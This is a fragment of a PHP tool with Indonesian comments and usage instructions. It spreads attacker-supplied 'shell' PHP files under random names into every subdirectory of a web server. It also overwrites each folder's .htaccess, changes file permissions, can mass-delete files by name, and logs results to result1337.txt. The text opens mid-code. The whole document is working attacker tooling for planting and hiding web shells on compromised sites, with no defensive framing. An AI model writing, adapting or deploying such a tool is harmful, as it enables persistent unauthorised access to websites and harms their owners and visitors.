isDir()) { $folders[] = $file->getRealPath(); } } return $folders; } // Fungsi untuk menulis file ke setiap folder function writeToFile($path, $filename, $content, $chmod = null) { $filePath = $path . DIRECTORY_SEPARATOR . $filename; file_put_contents($filePath, $content); // Ini akan menimpa file jika sudah ada // Ubah izin file jika chmod diset if (!is_null($chmod)) { chmod($filePath, octdec($chmod)); } } // Fungsi untuk menghapus file berdasarkan nama function deleteFilesByName($dir, $filename) { $folders = getAllFolders($dir); $deletedFiles = []; foreach ($folders as $folder) { $filePath = $folder . DIRECTORY_SEPARATOR . $filename; if (file_exists($filePath)) { unlink($filePath); // Hapus file $deletedFiles[] = $filePath; } } return $deletedFiles; } // Jika form disubmit if ($_SERVER['REQUEST_METHOD'] == 'POST') { $phpContent = isset($_POST['php_content']) ? $_POST['php_content'] : ''; $htaccessContent = isset($_POST['htaccess_content']) ? $_POST['htaccess_content'] : ''; $chmodValue = isset($_POST['chmod_value']) ? $_POST['chmod_value'] : null; $deleteFilename = isset($_POST['delete_filename']) ? $_POST['delete_filename'] : ''; $customDir = __DIR__; // Hapus custom directory // Array untuk menyimpan hasil $resultDetails = []; // Jika ada nama file untuk dihapus, jalankan penghapusan massal if (!empty($deleteFilename)) { $deletedFiles = deleteFilesByName($customDir, $deleteFilename); if (!empty($deletedFiles)) { foreach ($deletedFiles as $file) { $resultDetails[] = "File dihapus: $file"; } } else { $resultDetails[] = "Tidak ada file yang ditemukan untuk dihapus dengan nama: $deleteFilename"; } } else { // Jika deleteFilename tidak disediakan, sebar file PHP dan .htaccess $allFolders = getAllFolders($customDir); foreach ($allFolders as $folder) { if (!empty($phpContent)) { $randomFilename = bin2hex(random_bytes(5)) . '.php'; // Menghasilkan nama file acak writeToFile($folder, $randomFilename, $phpContent, $chmodValue); $resultDetails[] = "Sukses Upload Di $folder/$randomFilename"; // Simpan detail } if (!empty($htaccessContent)) { writeToFile($folder, '.htaccess', $htaccessContent, $chmodValue); // Ini akan menimpa .htaccess yang ada } } } // Simpan hasil ke dalam file $resultFilePath = $customDir . DIRECTORY_SEPARATOR . 'result1337.txt'; file_put_contents($resultFilePath, implode("\n", $resultDetails)); } ?>
1. Isi konten shell di bagian menu file PHP dan .htaccess sesuai kebutuhan. (Diusahakan menggunakan .htaccess allow file).
2. Tentukan nilai CHMOD.
3. Klik Tombol Proses untuk menjalankan perintah.
1. Masukkan Nama File yang ingin dihapus massal.
2. Klik Tombol Proses untuk menjalankan perintah.
Hasil telah disimpan ke dalam file result1337.txt di direktori saat ini.